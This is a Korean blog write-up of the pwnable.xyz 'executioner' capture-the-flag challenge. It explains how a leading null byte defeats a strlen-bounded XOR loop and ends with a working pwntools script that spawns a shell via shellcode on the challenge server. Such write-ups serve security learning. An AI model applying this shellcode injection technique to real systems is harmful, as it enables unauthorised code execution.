[pwnable.xyz] executioner
Pwn/pwnable.xyz

[pwnable.xyz] executioner

반응형
문제 풀이 환경 : Ubuntu 16.04

간단한 쉘코딩 문제다.

📝 Analysis


<< Mitigation >>

역시 풀밭이다.

<< Code >>

· main

처음에 solve_pow라는 함수를 부르고 이후 key 전역 변수를 랜덤한 값으로 꽉 채운다.

그리고 이 값을 가지고 사용자가 입력과 xor한다.

mmap을 통해 실행 권한을 가진 영역에 결괏값을 저장하고 실행한다(jmp rax).

 

· solve_pow

뭔가 특별해 보이지만 그냥 단순한 문제풀이에 둘 중 하나의 값은 얻은 값, 다른 하나는 0으로 주면 기다리지 않고 그냥 끝난다...

 

✨ Thinking


입력값과 xor 될 key 값을 조작할 방법이 없어 보이지만 pwnable.xyz에서 나온 다른 여타 문제처럼 strlen 함수가 말썽이다.

만약 내가 첫 바이트를 null로 준다면 xor 될 일 없이 그냥 for문이 끝나버릴 것이다.

그래서 아래 사이트에서 0x00으로 시작하는 명령어를 발견할 수 있었다.

http://ref.x86asm.net/coder64.html

그리고 다음 사이트에서 맞나 확인했다.

https://defuse.ca/online-x86-assembler.htm

add 명령어 다음에 8bit짜리 레지스터 2개를 주면 이런 식으로 맨 앞 바이트가 null이 되는 명령어를 만들 수 있다.

이후부터 주어지게 될 shellcode와의 상관관계는 전혀 없으므로 딱이다.

 

🚩 Flag 🚩


from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'

# p = process('./executioner')
p = remote('svc.pwnable.xyz', 30025)

p.recvuntil('== ')
x = int(p.recvline(), 16)
p.sendlineafter('> ', f'{x} 0')

shellcode  = asm('add al, al') # 00 c0
shellcode += asm(shellcraft.sh())
p.sendafter('Input: ', shellcode)

p.interactive()

 

반응형